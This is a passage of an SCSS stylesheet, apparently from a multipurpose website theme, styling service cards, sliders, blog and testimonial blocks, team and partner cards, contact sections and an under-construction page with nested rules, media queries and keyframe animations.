color: var(--thm-black); max-width: 540px; margin-top: 20px; margin-bottom: 25px; @media(min-width: 992px) { font-size: 50px; } span { font-weight: bold; } } &__summery { font-size: 24px; line-height: 1.667; color: var(--thm-base); font-weight: 400; margin-top: 10px; margin-bottom: 15px; } &__list { margin-top: 23px; margin-bottom: 60px; li { position: relative; padding-left: 35px; font-size: 18px; color: var(--thm-text); +li { margin-top: 7px; } i { position: absolute; top: 10px; left: 0; color: #ffaa17; font-size: 20px; } } } } /* service seven */ .service-seven { padding-top: 90px; padding-bottom: 70px; @media (min-width: 992px) { padding-top: 110px; padding-bottom: 90px; } &__item { text-align: center; border-radius: 5px; padding: 50px; padding-bottom: 40px; transition: all 500ms ease; margin-bottom: 30px; position: relative; &::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; border: 1px solid #579eee; opacity: 0.2; border-radius: 5px; transition: all 500ms ease; } &:hover { box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.05); &::before { border-width: 2px; opacity: 1; } } } &__title { margin: 0; font-size: 20px; font-weight: 500; line-height: 1.7; color: var(--thm-black); margin-top: 30px; margin-bottom: 32px; position: relative; a { color: inherit; transition: all 500ms ease; &:hover { color: #579eee; } } } &__icon { width: 108px; height: 108px; position: relative; overflow: hidden; border-radius: 5px; margin-left: auto; margin-right: auto; display: flex; justify-content: center; align-items: center; text-align: center; position: relative; &::before { content: ''; width: 100%; height: 100%; background-color: #579eee; position: absolute; top: 0; left: 0; opacity: 0.1; transition: all 500ms ease; } i { position: relative; font-size: 63px; color: #579eee; transition: all 500ms ease; } } &__item:hover &__icon { &::before { opacity: 1; } i { color: #fff !important; } } &__text { margin: 0; line-height: 2.125; font-size: 16px; color: var(--thm-text); margin-bottom: 27px; position: relative; } &__link { font-size: 22px; color: var(--thm-black); transition: all 500ms ease; position: relative; } &__item:hover &__link { color: #579eee; } [class*=col-]:nth-child(2) { .service-seven__item::before { border-color: #ff9a61; } .service-seven__icon::before { background-color: #ff9a61; } .service-seven__title a:hover, .service-seven__icon i, .service-seven__item:hover .service-seven__link { color: #ff9a61; } } [class*=col-]:nth-child(3) { .service-seven__item::before { border-color: #54d6ad; } .service-seven__icon::before { background-color: #54d6ad; } .service-seven__icon i, .service-seven__title a:hover, .service-seven__item:hover .service-seven__link { color: #54d6ad; } } [class*=col-]:nth-child(4) { .service-seven__item::before { border-color: #f15d8a; } .service-seven__icon::before { background-color: #f15d8a; } .service-seven__title a:hover, .service-seven__icon i, .service-seven__item:hover .service-seven__link { color: #f15d8a; } } } /* slider seven */ .slider-seven { .swiper-slide { position: relative; padding-top: 150px; @media(min-width: 1200px) { padding-bottom: 140px; } @media(min-width: 1400px) { padding-top: 260px; padding-bottom: 110px; } } &__round__shape-1 { position: absolute; color: #ff9a61; top: 0; right: 0; display: none; transform: translateX(300px); opacity: 0; visibility: hidden; transition: transform 750ms ease, opacity 750ms ease, visibility 750ms ease; svg { width: 400px; height: auto; @media(min-width: 1200px) { width: 600px; } @media(min-width: 1400px) { width: 750px; } } @media(min-width: 768px) { display: block; } @media(min-width: 1400px) { top: -70px; } } &__round__shape-2 { color: var(--thm-base); position: absolute; top: 0; right: 50px; display: none; transform: translateX(300px); opacity: 0; visibility: hidden; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease; svg { width: 400px; height: auto; @media(min-width: 1200px) { width: 600px; } @media(min-width: 1400px) { width: 750px; } } @media(min-width: 768px) { display: block; } @media(min-width: 1200px) { right: 80px; } @media(min-width: 1400px) { top: 0; right: 180px; } } &__round__image { width: 500px; height: 500px; position: absolute; top: -50px; right: -50px; border-top-left-radius: 50%; border-bottom-left-radius: 50%; border-bottom-right-radius: 50%; background-repeat: no-repeat; background-size: cover; background-position: top right; transform: translateX(300px); opacity: 0; visibility: hidden; transition: transform 1800ms ease, opacity 1800ms ease, visibility 1800ms ease; box-shadow: 0px 20px 60px 0px rgba(0, 0, 0, 0.1); display: none; @media(min-width: 768px) { display: block; } @media(min-width: 1200px) { width: 700px; height: 700px; top: 0; right: 0; } @media(min-width: 1400px) { width: 986px; height: 986px; top: -170px; right: -125px; } } .swiper-slide-active &__round__shape-1, .swiper-slide-active &__round__shape-2, .swiper-slide-active &__round__image { opacity: 1; transform: translateX(0); visibility: visible; } &__title { margin: 0; color: var(--thm-black); font-weight: 300; font-size: 45px; line-height: 1; letter-spacing: -0.06em; transform: translateY(-200px); opacity: 0; visibility: hidden; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease; max-width: 516px; span { font-weight: 500; } @media(min-width: 992px) { font-size: 60px; } @media(min-width: 1200px) { font-size: 90px; } } &__text { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 2; margin-top: 40px; margin-bottom: 40px; transform: translateY(-100px); opacity: 0; visibility: hidden; transition: transform 1500ms ease, opacity 1500ms ease, visibility 1500ms ease; max-width: 510px; @media(min-width: 1200px) { margin-top: 25px; } } &__btn { transform: translateY(100px); opacity: 0; visibility: hidden; transition: transform 2000ms ease, opacity 2000ms ease, visibility 2000ms ease, background 500ms ease; } .swiper-slide-active &__title, .swiper-slide-active &__btn, .swiper-slide-active &__text { transform: translateY(0); opacity: 1; visibility: visible; } @keyframes globeRotate { 8% { transform: perspective(200px) rotateY(0deg); } 100% { transform: perspective(200px) rotateY(360deg); } } @keyframes shapeMover { 0%, 100% { transform: perspective(400px) translateY(0) rotate(0deg) translateZ(0px) translateX(0); } 50% { transform: perspective(400px) rotate(-15deg) translateZ(20px) translateY(20px) translateX(20px); } } @keyframes bubbleMover { 0% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); } 30% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: center center; transform-origin: center center; } 50% { -webkit-transform: translateY(50px) translateX(100px) rotate(45deg); transform: translateY(50px) translateX(100px) rotate(45deg); -webkit-transform-origin: right bottom; transform-origin: right bottom; } 80% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: left top; transform-origin: left top; } 100% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); -webkit-transform-origin: center center; transform-origin: center center; } } &__shape-1 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-1.png); background-repeat: no-repeat; width: 326px; height: 419px; position: absolute; top: 105px; left: 0; } &__shape-2 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-2.png); background-repeat: no-repeat; width: 36px; height: 36px; position: absolute; top: 170px; left: 307px; animation-fill-mode: both; animation-name: shapeMover; animation-timing-function: linear; animation-duration: 10s; animation-iteration-count: infinite; } &__shape-3 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-3.png); background-repeat: no-repeat; width: 19px; height: 16px; position: absolute; left: 723px; top: 208px; animation-fill-mode: both; animation-name: bubbleMover; animation-timing-function: linear; animation-duration: 10s; animation-iteration-count: infinite; } &__shape-4 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-4.png); background-repeat: no-repeat; width: 35px; height: 32px; position: absolute; top: 626px; left: 174px; animation-fill-mode: both; animation-name: bubbleMover; animation-timing-function: linear; animation-duration: 10s; animation-iteration-count: infinite; } &__shape-5 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-5.png); background-repeat: no-repeat; width: 24px; height: 24px; position: absolute; top: 660px; left: 890px; animation-fill-mode: both; animation-name: bubbleMover; animation-timing-function: linear; animation-duration: 10s; animation-iteration-count: infinite; } } /* mainmenu seven */ .mainmenu-seven { transition: all 500ms ease; @media(min-width: 1200px) { position: fixed; top: 0; left: 0; width: 100%; z-index: 991; min-height: 110px; } & &__inner { display: flex; justify-content: space-between; align-items: center; float: none !important; width: 100% !important; padding-top: 40px !important; padding-left: 15px !important; padding-right: 15px !important; @media(min-width: 1200px) { padding-left: 50px; padding-right: 50px; padding-top: 0 !important; position: relative; } } &__left { display: flex; align-items: center; .mobile-nav-toggler { margin: 0; margin-left: 20px; } @media(min-width: 1200px) { position: absolute; top: 40px; left: 50px; z-index: 9; } } &__search { font-size: 22px; color: var(--thm-black); height: 42px; border-left: 1px solid rgba(var(--thm-black-rgb), .2); padding-left: 30px; display: flex; align-items: center; margin-right: 30px; button { background-color: transparent; } } &__right { display: flex; align-items: center; @media(min-width: 1200px) { position: absolute; top: 40px; right: 50px; z-index: 9; } .mobile-nav-toggler { display: flex !important; flex-direction: column; margin: 0; span { width: 28px; height: 1px; background-color: var(--thm-black); display: block; &:nth-child(2) { width: 23px; margin-top: 7px; margin-bottom: 7px; } &:nth-child(3) { width: 18px; } } } } .main-menu { margin-left: auto; margin-right: auto; max-width: 1200px; width: 100%; padding-left: 200px; padding-right: 15px; @media(min-width: 1550px) { padding-left: 15px; } } .auto-container { width: 100%; max-width: 100%; padding-left: 0; padding-right: 0; } .main-menu .navigation li>a { font-size: 16px; font-weight: 400; color: var(--thm-black); text-transform: capitalize; } &.fixed-header { background-color: #fff; box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } } /* blog eight */ .blog-eight { padding-top: 96px; padding-bottom: 70px; @media(min-width: 1200px) { padding-top: 116px; padding-bottom: 90px; } &__card { margin-bottom: 30px; } &__image { img { width: 100%; } } &__content { background-color: #fff; width: calc(100% - 40px); margin-left: auto; margin-right: auto; position: relative; margin-top: -20px; text-align: center; padding-top: 33px; } &__date { position: absolute; bottom: 100%; right: 0; background-color: var(--thm-base); color: var(--thm-black); transition: all 500ms ease; text-transform: uppercase; font-size: 12px; font-weight: bold; letter-spacing: .2em; line-height: 1; padding-left: 21px; padding-right: 21px; padding-top: 12.5px; padding-bottom: 12.5px; } &__title { margin: 0; color: var(--thm-black); font-size: 24px; line-height: 1.25; font-weight: bold; margin-bottom: 24px; a { color: inherit; transition: all 500ms ease; &:hover { color: var(--thm-base); } } } &__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 1.875; margin-bottom: 24px; } &__meta { display: flex; align-items: center; justify-content: center; border-top: 1px solid #e2e5ed; padding-top: 10px; a { display: flex; align-items: center; font-size: 14px; color: var(--thm-text); transition: all 500ms ease; &:hover { color: var(--thm-base); i { color: var(--thm-black); } } i { color: var(--thm-base); transition: all 500ms ease; margin-right: 5px; } +a { margin-left: 20px; } } } } /* video seven */ .video-seven { position: relative; text-align: center; background-color: var(--thm-black); padding-top: 90px; padding-bottom: 100px; @media(min-width: 1200px) { padding-top: 110px; padding-bottom: 120px; } &__parallax { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0.3; } .auto-container { position: relative; } &__title { margin: 0; color: #fff; font-size: 40px; line-height: 1.2; font-weight: bold; margin-bottom: 40px; max-width: 741px; margin-left: auto; margin-right: auto; text-align: center; @media(min-width: 992px) { font-size: 60px; margin-bottom: 50px; } } &__btn { width: 100px; height: 100px; background-color: var(--thm-base); color: var(--thm-black); display: flex; justify-content: center; align-items: center; text-align: center; margin-left: auto; margin-right: auto; transition: all 500ms ease; position: relative; font-size: 24px; &:hover { background-color: #fff; color: var(--thm-base); } & .ripple, & .ripple:before, & .ripple:after { position: absolute; top: 50%; left: 50%; width: 100%; height: 100%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } & .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } & .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } } } /* testimonials eight */ .testimonials-eight { background-color: #eef0f6; background-image: url(../images/update-01-10-2021/shapes/testi-8-bg-1-1.png); background-repeat: repeat; background-position: center; padding-top: 96px; padding-bottom: 70px; @media(min-width: 992px) { padding-top: 116px; padding-bottom: 90px; } &__card { margin-bottom: 30px; background-color: #fff; transition: all 500ms ease; padding: 40px; @media(min-width: 992px) { padding: 60px; } &:hover { box-shadow: 0px 25px 40px 0px rgba(24, 46, 101, 0.1); } } &__stars { display: flex; align-items: center; margin-bottom: 30px; i { color: var(--thm-base); font-size: 16px; line-height: 1; +i { margin-left: 10px; } } } &__info { display: flex; align-items: center; } &__image { flex-shrink: 0; margin-right: 20px; img { width: 63px; border-radius: 50%; } } &__text { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 1.889; padding-bottom: 23px; border-bottom: 1px solid #e2e5ed; margin-bottom: 30px; } &__name { font-size: 18px; font-weight: bold; color: var(--thm-black); line-height: 1; margin: 0; margin-bottom: 7px; } &__designation { margin: 0; line-height: 1; color: var(--thm-text); font-size: 14px; } } /* Project eight */ .project-eight { padding-top: 96px; padding-bottom: 100px; @media(min-width: 1200px) { padding-top: 116px; padding-bottom: 120px; } .auto-container { max-width: 100%; @media(min-width: 992px) { padding-left: 30px; padding-right: 30px; } @media(min-width: 1200px) { padding-left: 60px; padding-right: 60px; } @media(min-width: 1400px) { padding-left: 100px; padding-right: 100px; } } &__item { position: relative; img { width: 100%; } } &__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: flex; justify-content: flex-start; align-items: flex-end; padding: 20px; &::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: linear-gradient(to top, var(--thm-black) 0%, rgba(0, 0, 0, 0) 70%); transition: transform 500ms ease; transform: translateY(0%); } } &__item:hover &__content::before { transform: translateY(100%); } &__title { margin: 0; background-color: transparent; padding: 30px 40px; font-size: 30px; line-height: 1.33; font-weight: bold; color: #fff; position: relative; width: 100%; &::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; transform: translateY(-100%); background-color: #fff; opacity: 0; visibility: hidden; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease; } a { color: inherit; transition: all 500ms ease; position: relative; display: block; max-width: 163px; &:hover { color: var(--thm-base); } } } &__item:hover &__title { color: var(--thm-black); &::before { opacity: 1; visibility: visible; transform: translateY(0); } } &__link { width: 54px; height: 54px; background-color: var(--thm-base); position: absolute; bottom: 135px; right: 50px; color: var(--thm-black); font-size: 22px; border-radius: 50%; display: flex; align-items: center; justify-content: center; text-align: center; z-index: 10; transform: scale(0); transition: transform 500ms ease, background 500ms ease, color 500ms ease; &:hover { background-color: var(--thm-black); color: #fff; } } &__item:hover &__link { transform: scale(1); } } /* about ten */ .about-ten { padding-top: 100px; counter-reset: boxNumber; @media(min-width: 992px) { padding-top: 0; } &__image { img { max-width: 100%; margin-bottom: 60px; @media(min-width: 992px) { margin-bottom: 0; max-width: none; float: right; position: relative; left: 30px; } } } .my-auto { @media(min-width: 1200px) { margin: 0; } } &__content { @media(min-width: 1200px) { padding-left: 100px; padding-top: 116px; } } &__text { color: var(--thm-base); font-size: 22px; font-weight: 500; line-height: 1.81; margin: 0; margin-top: -20px; margin-bottom: 20px; @media(min-width: 1200px) { margin-top: -10px; margin-bottom: 37px; } } &__box+&__box { margin-top: 20px; @media(min-width: 1200px) { margin-top: 53px; } } &__box { position: relative; counter-increment: boxNumber; @media(min-width: 576px) { padding-left: 70px; } &::before { content: counters(boxNumber, ".", decimal-leading-zero); width: 54px; height: 54px; border-radius: 50%; background-color: var(--thm-base); display: flex; justify-content: center; align-items: center; font-family: "Shadows Into Light"; color: var(--thm-black); font-size: 30px; margin-bottom: 20px; transition: all 500ms ease; padding-bottom: 5px; @media(min-width: 576px) { position: absolute; top: 10px; left: 0; } } &:hover::before { background-color: var(--thm-black); color: #fff; } &__title { margin: 0; color: var(--thm-black); font-size: 20px; line-height: 1.7; font-weight: bold; margin-bottom: 8px; } &__text { margin: 0; font-size: 18px; line-height: 1.889; } } } /* service eight */ .service-eight { padding-top: 100px; padding-bottom: 70px; background-color: #eef0f6; background-image: url(../images/update-01-10-2021/shapes/testi-8-bg-1-1.png); background-repeat: repeat; background-position: center; counter-reset: serviceNumber; @media(min-width: 1200px) { padding-top: 116px; padding-bottom: 90px; } &__card { background-color: #fff; padding: 15px; margin-bottom: 30px; counter-increment: serviceNumber; transition: all 500ms ease; &__inner { border: 1px solid #eef0f6; padding: 35px; overflow: hidden; position: relative; transition: all 500ms ease; &::before { line-height: 1; font-size: 60px; color: #eef0f6; font-family: "Shadows Into Light"; content: counters(serviceNumber, ".", decimal-leading-zero); position: absolute; right: 35px; bottom: 35px; transition: all 500ms ease; opacity: 1; } &::after { content: ''; width: 68px; height: 68px; background-color: #eef0f6; position: absolute; bottom: 0; right: 0; transform: translateY(50%) translateX(50%); border-radius: 50%; transition: all 500ms ease; } } &:hover { background-color: var(--thm-base); } &:hover &__inner { border-color: var(--thm-black); &::after { background-color: var(--thm-black); } &::before { opacity: 0.1; color: var(--thm-black); } } } &__title { font-size: 20px; line-height: 1.5; color: var(--thm-black); margin: 0; max-width: 101px; font-weight: bold; a { color: inherit; transition: all 500ms ease; &:hover { color: #fff; } } } &__icon { margin-top: 70px; i { font-size: 60px; color: var(--thm-base); transition: all 500ms ease; } } &__card:hover &__icon i { color: var(--thm-black); } } /* about eleven */ .about-eleven { padding-top: 100px; padding-bottom: 100px; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 120px; } &__images { position: relative; margin-bottom: 60px; &::before { content: ''; width: 20px; height: 326px; background-color: var(--thm-base); color: var(--thm-base); position: absolute; right: 100%; top: 40px; } @media(min-width: 992px) { margin-bottom: 0; } img { max-width: 100%; &:nth-child(2) { position: absolute; bottom: 0; left: 0; @media(min-width: 1200px) { left: -120px; } } } } .sec-title-eight { margin-bottom: 40px; } &__summery { margin: 0; font-size: 18px; line-height: 1.889; color: var(--thm-text); } &__box { display: grid; grid-template-columns: 1fr; margin-top: 40px; @media(min-width: 576px) { grid-template-columns: repeat(2, 1fr); } &__item+&__item { margin-top: 20px; @media(min-width: 576px) { margin-top: 0; } } &__item { display: flex; align-items: center; i { font-size: 62px; color: var(--thm-base); } } &__title { margin: 0; font-size: 20px; margin-left: 20px; line-height: 1.3; color: var(--thm-black); font-weight: bold; max-width: 118px; } } &__progress { margin-top: 40px; p { margin: 0; font-size: 18px; font-weight: bold; color: var(--thm-black); margin-bottom: 2px; } &-line { width: 100%; height: 13px; background-color: #eef0f6; position: relative; border-radius: 7.5px; span { transition: all 1000ms ease; width: 0; height: 100%; background-color: var(--thm-base); border-radius: 7.5px; position: absolute; top: 0; left: 0; } b { position: absolute; bottom: 100%; right: 0; color: var(--thm-text); font-size: 14px; font-weight: 400; } } } &__info { display: flex; align-items: center; margin-top: 50px; &__image { flex-shrink: 0; margin-right: 20px; img { width: 75px; border-radius: 50%; } } &__name { margin: 0; font-size: 20px; color: var(--thm-black); font-weight: bold; margin-bottom: 7px; } &__text { margin: 0; color: var(--thm-text); font-size: 14px; line-height: 1; } } } /* call to action four */ .call-to-section-four { background-color: var(--thm-base); .auto-container { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; padding-top: 30px; padding-bottom: 40px; @media(min-width: 992px) { padding-top: 50px; padding-bottom: 50px; justify-content: space-between; flex-direction: row; } } &__title { font-size: 30px; color: var(--thm-black); margin: 0; font-weight: 500; margin-bottom: 10px; @media(min-width: 992px) { margin-bottom: 0; } } &__btn { &:hover { background-color: #fff; color: var(--thm-black); } } } /* slider eight */ .slider-eight { .swiper-slide { position: relative; background-color: var(--thm-black); padding-top: 150px; padding-bottom: 150px; @media(min-width: 1200px) { padding-top: 285px; padding-bottom: 180px; } .image-layer { position: absolute; top: 0; right: 0; bottom: 0; left: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; opacity: 0.7; transform: scale(1); visibility: hidden; transition: visibility 0ms ease, transform 7000ms ease; } &.swiper-slide-active .image-layer { visibility: visible; transform: scale(1.3); } .auto-container { position: relative; } } &__text { margin: 0; color: #fff; font-family: 'Shadows Into Light'; font-size: 20px; line-height: 1.2; transform-origin: bottom center; opacity: 0; transform: translateY(90px); transition: transform 1500ms ease, opacity 1500ms ease; @media(min-width: 992px) { font-size: 30px; } span { text-decoration: underline; } } &__title { margin: 0; color: #fff; font-weight: bold; font-size: 40px; line-height: 1; margin-top: 10px; margin-bottom: 20px; transform-origin: bottom center; transform: scaleY(0) translateY(-50px); transition: transform 1500ms ease, opacity 1500ms ease; opacity: 0; @media(min-width: 768px) { max-width: 550px; } @media(min-width: 992px) { font-size: 60px; } @media(min-width: 1200px) { font-size: 80px; max-width: 647px; margin-bottom: 50px; margin-top: 25px; } } &__btns { overflow: hidden; @media(min-width: 475px) { display: flex; align-items: center; } } &__btn { transform: scaleY(0) translateY(-200px); transform-origin: top center; opacity: 0; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease; } &__btn--two { background-color: var(--thm-base); color: var(--thm-black); margin-top: 10px; @media(min-width: 475px) { margin-top: 0; margin-left: 10px; } &:hover { background-color: #fff; color: var(--thm-black); } } .swiper-slide-active &__title, .swiper-slide-active &__btn { transform: scaleY(1) translateY(0); opacity: 1; } .swiper-slide-active &__text { transform: translateY(0); opacity: 1; } } /* header eight */ .header-eight { &__topbar { display: none; background-color: var(--thm-black); padding-top: 5px; padding-bottom: 5px; @media(min-width: 992px) { display: block; } .auto-container { display: flex; align-items: center; justify-content: space-between; max-width: 100%; padding-left: 30px; padding-right: 30px; @media(min-width: 1200px) { padding-left: 60px; padding-right: 60px; } } &__right { display: flex; align-items: center; p { font-size: 14px; color: #acb5cb; margin: 0; margin-right: 30px; } } &__info { display: flex; align-items: center; li { display: flex; align-items: center; color: #acb5cb; font-size: 14px; font-weight: 400; i { color: var(--thm-base); font-size: 16px; margin-right: 11px; } +li { margin-left: 20px; } a { color: inherit; transition: all 500ms ease; &:hover { color: #fff; } } } } &__social { display: flex; align-items: center; a { color: #acb5cb; font-size: 14px; transition: all 500ms ease; &:hover { color: var(--thm-base); } +a { margin-left: 20px; } } } } } .mainmenu-eight { position: relative; top: auto; left: auto; width: 100%; z-index: 91; transition: all 500ms ease; background-color: var(--thm-black); padding-top: 20px; padding-bottom: 20px; @media(min-width: 1200px) { position: fixed; top: 44px; left: 0; background-color: rgba(#ffffff, .1); padding-top: 0; padding-bottom: 0; } &.fixed-header { background-color: var(--thm-black); top: 0; } .nav-outer { position: relative; float: none !important; display: flex; align-items: center; width: 100% !important; } .auto-container { width: 100%; max-width: 100%; display: flex; align-items: center; @media(min-width: 1200px) { padding-left: 60px; padding-right: 60px; } } .nav-outer .mobile-nav-toggler { float: none; margin: 0; margin-left: 20px; } &__right { margin-left: auto; @media(min-width: 1350px) { display: flex; align-items: center; margin-left: 0; } } &__call { display: none; text-align: left; color: #fff; padding-top: 5px; padding-bottom: 5px; border-left: 1px solid rgba(#ffffff, .2); padding-left: 40px; margin-left: 40px; transition: all 500ms ease; &:hover { color: var(--thm-black); } @media(min-width: 1350px) { display: flex; align-items: center; } &__icon { margin-right: 20px; i { font-size: 34px; color: #fff; position: relative; top: 4px; transition: all 500ms ease; } } &:hover &__icon i { color: var(--thm-base); } &__text { font-size: 14px; font-weight: 400; line-height: 22px; strong { font-weight: bold; font-size: 16px; } } } &__left { display: flex; align-items: center; } &__search { button { color: #fff; font-size: 22px; background-color: transparent; } } .main-menu { margin-left: auto; margin-right: auto; } .main-menu .navigation li>a { font-size: 16px; font-weight: 500; text-transform: capitalize; } .main-menu .navigation>li>a { color: #fff; } .main-menu .navigation>li::before { content: ''; width: 15px; height: 8px; background-image: url(../images/update-01-10-2021/shapes/menu-arrow.png); background-repeat: no-repeat; background-position: top center; position: absolute; bottom: 0; left: calc(50% - 7.5px); opacity: 0; transition: opacity 500ms ease; } .main-menu .navigation>li>a::before { width: calc(50.5% - 7.5px); height: 2px; border: none; background-color: var(--thm-base); transform: scale(1); bottom: -30px; opacity: 0; transition: opacity 500ms ease; } .main-menu .navigation>li>a::after { content: ""; position: absolute; right: 0; bottom: 7px; height: 2px; background-color: var(--thm-base); width: calc(50% - 7.5px); bottom: -30px; opacity: 0; transition: opacity 500ms ease; } .main-menu .navigation>li.current, .main-menu .navigation>li:hover { &::before { opacity: 1; } >a { color: var(--thm-base); &::before, &::after { opacity: 1; } } } } /* Service nine */ .service-nine { padding-top: 100px; padding-bottom: 70px; @media(min-width: 992px) { padding-top: 120px; padding-bottom: 90px; } &__card { border-radius: 7px; transition: all 500ms ease; margin-bottom: 30px; &:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } &__inner { overflow: hidden; border-radius: 7px; } } &__image { background-color: var(--thm-black); img { mix-blend-mode: luminosity; } } &__content { padding-left: 50px; padding-right: 50px; border: 1px solid #e9ebee; border-top: 0; padding-top: 35px; padding-bottom: 50px; } &__icon { font-size: 64px; color: var(--thm-base); } &__title { margin: 0; font-size: 34px; color: var(--thm-black); line-height: 1.05; text-transform: uppercase; margin-top: 20px; margin-bottom: 10px; a { color: inherit; transition: all 500ms ease; &:hover { color: var(--thm-base); } } } &__text { margin: 0; font-size: 16px; line-height: 2.125; color: var(--thm-text); margin-bottom: 20px; } &__link { width: 50px; height: 50px; background-color: #222429; display: flex; justify-content: center; align-items: center; color: #fff; font-size: 20px; border-radius: 50%; opacity: 0.2; transition: all 500ms ease; &:hover { opacity: 1; background-color: var(--thm-base); color: var(--thm-black); } } } /* team four */ .team-four { padding-top: 100px; padding-bottom: 70px; @media(min-width: 992px) { padding-top: 120px; padding-bottom: 90px; } &__card { margin-bottom: 30px; border-radius: 8px; border: 1px solid #e9ebee; padding-top: 40px; padding-bottom: 30px; text-align: center; transition: all 500ms ease; padding-left: 30px; padding-right: 30px; &:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } } &__image { width: 192px; border-radius: 50%; margin-left: auto; margin-right: auto; overflow: hidden; margin-bottom: 23px; background-color: var(--thm-black); img { width: 100%; mix-blend-mode: luminosity; } } &__name { margin: 0; font-size: 24px; color: var(--thm-black); text-transform: uppercase; line-height: 1; letter-spacing: .1em; margin-bottom: 9px; } &__designation { color: #686a6f; font-size: 16px; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: .1em; line-height: 1; margin: 0; margin-bottom: 15px; } &__social { display: flex; justify-content: center; align-items: center; background-color: #f4f5f8; border-radius: 8px; padding: 11.5px 0; a { color: #686a6f; font-size: 14px; transition: all 500ms ease; &:hover { color: var(--thm-base); } +a { margin-left: 20px; } } } } /* Partner one */ .partner-one { padding-bottom: 70px; padding-top: 100px; @media (min-width: 992px) { padding-top: 120px; padding-bottom: 90px; } &__card { padding: 20px; margin-bottom: 30px; border: 1px solid #e9ebee; border-radius: 8px; transition: all 500ms ease; background-color: #fff; text-align: center; &:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } } &__image { overflow: hidden; border-radius: 8px; background-color: #f4f5f8; img { max-width: 100%; } } &__content { padding-bottom: 12px; } &__title { font-size: 34px; margin: 0; text-transform: uppercase; line-height: 36px; margin-top: 35px; margin-bottom: 10px; } &__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; max-width: 270px; margin-left: auto; margin-right: auto; margin-bottom: 20px; } &__link { text-transform: uppercase; font-family: var(--thm-font); font-size: 16px; color: var(--thm-black); letter-spacing: .1em; display: inline-flex; background: linear-gradient(to right, var(--thm-base) 0%, var(--thm-base) 100%) 0px 77% / 0px 2px no-repeat; background-size: 100% 2px; padding-bottom: 5px; transition: all 500ms ease; &:hover { color: var(--thm-base); background-size: 0 2px; } } } /* contact two */ .contact-two { .form-box { text-align: left; } .sec-title { margin-bottom: 34px; } &__text { max-width: 351px; margin: 0; font-size: 16px; line-height: 34px; } &__social { display: flex; align-items: center; margin-top: 50px; a { color: #686a6f; font-size: 20px; transition: all 500ms ease; &:hover { color: var(--thm-base); } +a { margin-left: 24px; } } } } /* contact info two */ .contact-info-two { padding-bottom: 80px; @media(min-width: 1200px) { padding-bottom: 0; } &__card { background-color: #fff; border-radius: 8px; box-shadow: 0px 0px 40px 0px rgba(0, 0, 0, 0.05); display: flex; align-items: center; justify-content: center; padding: 37px 30px; text-align: center; border: 1px solid #f4f5f8; margin-bottom: 20px; @media(min-width: 1200px) { position: relative; margin-bottom: -37px; z-index: 91; } i { font-size: 20px; color: var(--thm-base); margin-right: 20px; } a { color: var(--thm-black); font-size: 20px; } } } /* under construction */ .under-construction { position: relative; background-color: #f4f5f8; min-height: 100vh; padding-top: 50px; padding-bottom: 50px; display: flex; justify-content: center; align-items: center; &__bg { background-repeat: no-repeat; background-position: bottom center; background-color: #f4f5f8; background-blend-mode: luminosity; opacity: 0.1; position: absolute; bottom: 0; left: 0; right: 0; top: 0; } .auto-container { position: relative; z-index: 10; width: 100%; } &__title { margin: 0; text-transform: uppercase; font-size: 60px; line-height: 1; font-weight: 300; color: var(--thm-base); margin-bottom: 20px; @media(min-width: 992px) { margin-bottom: 0; font-size: 100px; } } &__tagline { margin: 0; line-height: 1.2em; color: var(--thm-black); letter-spacing: .4em; font-size: 26px; text-transform: uppercase; font-weight: 300; margin-top: 30px; margin-bottom: 20px; @media(min-width: 992px) { margin-top: 100px; margin-bottom: 7px; } } &__countdown { margin: 0; display: grid; grid-template-columns: 1fr; width: 100%; max-width: 560px; margin-left: auto; margin-right: auto; margin-bottom: 30px; @media(min-width: 576px) { grid-template-columns: repeat(3, 1fr); } @media(min-width: 992px) { margin-bottom: 86px; margin-top: 54px; } li { color: var(--thm-black); font-size: 50px; line-height: 1; text-transform: uppercase; font-family: var(--thm-font); @media(min-width: 992px) { font-size: 70px; } +li { border-top: 2px solid #fff; margin-top: 30px; padding-top: 30px; @media(min-width: 576px) { border-top: 0; border-left: 2px solid 